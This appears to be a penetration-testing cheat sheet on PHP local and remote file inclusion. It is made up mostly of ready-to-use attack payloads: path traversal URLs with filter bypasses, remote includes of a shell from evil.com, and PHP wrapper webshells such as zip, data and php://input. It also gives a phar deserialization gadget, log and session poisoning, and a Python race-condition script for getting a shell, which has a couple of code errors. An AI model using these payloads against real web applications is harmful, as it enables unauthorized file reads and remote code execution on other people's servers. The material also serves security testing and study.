11 KiB
File Inclusion
The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application
Summary
- Tools
- Basic LFI
- Basic RFI
- LFI / RFI using wrappers
- LFI to RCE via /proc/*/fd
- LFI to RCE via /proc/self/environ
- LFI to RCE via upload
- LFI to RCE via upload (race)
- LFI to RCE via phpinfo()
- LFI to RCE via controlled log file
- LFI to RCE via PHP sessions
Tools
Basic LFI
In the following examples we include the /etc/passwd
file, check the Directory & Path Traversal
chapter for more interesting files.
http://example.com/index.php?page=../../../etc/passwd
Null byte
http://example.com/index.php?page=../../../etc/passwd%00
Double encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Path and dot truncation
On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Basic RFI
Most of the filter bypasses from LFI section can be reused for RFI.
http://example.com/index.php?page=http://evil.com/shell.txt
Null byte
http://example.com/index.php?page=http://evil.com/shell.txt%00
Double encoding
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
Bypass allow_url_include
When allow_url_include
and allow_url_fopen
are set to Off
. It is still possible to include a remote file on Windows box using the smb
protocol.
- Create a share open to everyone
- Write a PHP code inside a file :
shell.php
- Include it
http://example.com/index.php?page=\\10.0.0.1\share\shell.php
LFI / RFI using wrappers
Wrapper php://filter
The part "php://filter" is case insensitive
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
can be chained with a compression wrapper for large files.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
NOTE: Wrappers can be chained : php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s
Wrapper zip://
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
Wrapper data://
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Wrapper expect://
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
Wrapper input://
Specify your payload in the POST parameters
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
Wrapper phar://
Create a phar file with a serialized object in its meta-data.
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked
class AnyClass {
function __destruct() {
echo $this->data;
}
}
// output: rips
include('phar://test.phar');
NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, file_exists
and many more.
LFI to RCE via /proc/*/fd
- Upload a lot of shells (for example : 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
LFI to RCE via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
LFI to RCE via upload
If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
LFI to RCE via upload (race)
Worlds Quitest Let's Play"
- Upload a file and trigger a self-inclusion.
- Repeat 1 a shitload of time to:
- increase our odds of winning the race
- increase our guessing odds
- Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
- Enjoy our shell.
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
LFI to RCE via phpinfo()
https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
LFI to RCE via controlled log file
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Set the cookie to <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
References
- OWASP LFI
- HighOn.coffee LFI Cheat
- Turning LFI to RFI
- Is PHP vulnerable and under what conditions?
- Upgrade from LFI to RCE via PHP Sessions
- Local file inclusion tricks
- CVV #1: Local File Inclusion - SI9INT
- Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos
- Baby^H Master PHP 2017 by @orangetw
- Чтение файлов => unserialize !
- New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse
- It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas
- Local file inclusion mini list - Penetrate.io
- CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018
- Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction